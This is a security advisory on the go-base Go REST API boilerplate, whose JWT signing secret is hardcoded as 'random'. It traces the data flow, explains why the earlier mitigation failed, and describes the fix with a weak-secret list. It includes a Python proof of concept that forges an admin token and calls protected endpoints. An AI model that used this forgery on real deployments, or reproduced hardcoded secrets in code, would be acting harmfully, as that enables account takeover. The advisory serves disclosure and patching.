Go Restful API Boilerplate: Hardcoded JWT Secret "random" Allows Token Forgery

Vulnerability: CWE-798 — Hardcoded JWT Secret + Broken Mitigation

Affected

Component - github.com/dhax/go-base — Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun) - 1,685 stars on GitHub

Vulnerability

Locations

| File | Line | Role | |------|------|------| | dev.env | 10 | AUTH_JWT_SECRET=random — template default shipped to all users | | cmd/serve.go | 35 | viper.SetDefault("auth_jwt_secret", "random") — code-level fallback | | auth/jwt/tokenauth.go | 22-25 | Weak mitigation: only checked literal "random", auto-generated non-persistent key | | auth/jwt/tokenauth.go | 28 | jwtauth.New("HS256", []byte(secret), nil) — creates JWT signer with the weak key | | pwdless/api.go | 203 | GenTokenPair() — issues access + refresh tokens signed with the weak key |

Data

Flow

dev.env AUTH_JWT_SECRET=random
  OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
    │
    ▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
    │
    ▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
    │
    ▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
    │
    ▼
jwt/authenticator.go: Every authenticated request trusts the forged token

Description

The JWT signing secret is hardcoded to the string "random" in two independent locations:

1. **dev.env:10** — The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.

1. **cmd/serve.go:35** — viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

• (a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
• (b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of

Concept

import jwt
import requests

# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"

# Step 1: Forge an admin JWT token
payload = {
    "sub": "admin@example.com",
    "roles": ["admin"],
    "iat": 9999999000,
    "exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}

# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")  # 200 OK

# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")  # Returns admin@example.com profile

# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret

Impact

• Authentication Bypass: Forge tokens for any user, including admin roles
• Confidentiality: Access all user data, profiles, and protected resources
• Integrity: Modify any data accessible via the API
• Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Fix (PR #31)

The fix replaced the single-value check with a comprehensive approach:

// BEFORE (tokenauth.go:22-25) — weak, single-value check
if secret == "random" {
    secret = randStringBytes(32) // non-persistent, breaks on restart
}

// AFTER — comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
    "random": true,
    "secret": true,
    "changeme": true,
    "change-me": true,
    "default": true,
    "": true,
}

if knownWeakSecrets[secret] {
    log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}

Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.

Patched

Versions

• All versions after commit range including PR#31 (merged May 17, 2026).
• Users should update to the latest master, regenerate their JWT secret, and restart.

Resources

• Fix PR: https://github.com/dhax/go-base/pull/31
• Commit history: https://github.com/dhax/go-base/commits/master

Credit

Reported by @saaa99999999 via manual security audit.